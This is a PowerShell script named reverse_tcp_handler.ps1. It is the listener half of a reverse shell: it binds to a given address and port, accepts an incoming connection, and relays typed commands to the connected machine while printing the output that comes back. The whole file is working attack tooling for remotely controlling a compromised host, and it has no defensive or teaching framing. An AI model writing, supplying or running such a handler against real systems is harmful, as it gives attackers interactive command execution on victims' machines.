reverse_tcp_handler.ps1

using namespace System.Net.Sockets

$Encoder = [System.Text.Encoding]::UTF8

$SIZE_BUFFER_SIZE = 4

$PROMPT = ">>> "

function Read-NBytes {
    Param($Stream, $NToRead)
    $Buffer = [byte[]]::new($NToRead)
    $NRead = 0
    #Write-Host "Entering loop to read $NToRead bytes."
    while ($NRead -lt $NToRead) {
        $NRead += $Stream.Read($Buffer, $NRead, ($NToRead - $NRead))
        #Write-Host "Read $NRead"
    }
    return $Buffer
}

function Start-HandlerLoop {
    Param($ClientSock)
    #Write-Host "Starting command loop..."
    $Stream = $ClientSock.GetStream()

    while ($true) {
        Write-Host $PROMPT -NoNewline
        $Command = Read-Host
        $CommandBytes = $Encoder.GetBytes($Command)

        if ($Command) {
             # Send command length and then command
            $NToSendBytes = [System.BitConverter]::GetBytes($Command.Length)
            $Stream.Write($NToSendBytes, 0, $SIZE_BUFFER_SIZE)
            $Stream.Write($CommandBytes, 0, $Command.Length)

            if ($Command -iin @("quit", "exit")) {
                break
            } else {
                # Recieve response length and response
                $SizeBytes = Read-NBytes $Stream $SIZE_BUFFER_SIZE
                $NToRead = [System.BitConverter]::ToInt32($SizeBytes, 0)
    
                $ReadBytes = Read-NBytes $Stream $NToRead
    
                if ($ReadBytes) {
                    Write-Host ($Encoder.GetString($ReadBytes))
                }
            }
        }
    }
}

function Wait-ForConnection {
    Param($HostName, $Port)
    $IPAddress = [System.Net.IPAddress]::Parse($HostName)
    $Server = New-Object TcpListener($IPAddress, $Port)
    $Server.Start()  # TODO: Handle exceptions from bad addresses
    $Client = $Server.AcceptTcpClient()

    return $Server, $Client
}

if ($args.Length -eq 2) {
    Write-Host "Starting handler and waiting for connection..."
    $Server, $Client = Wait-ForConnection $args[0] ([Int32]$args[1])
    try {
       Start-HandlerLoop $Client
    } finally {
        $Client.Close()
        $Server.Stop()
    }
} else {
    Write-Host "Two arguments are required. Pass the address and port number to bind to."
}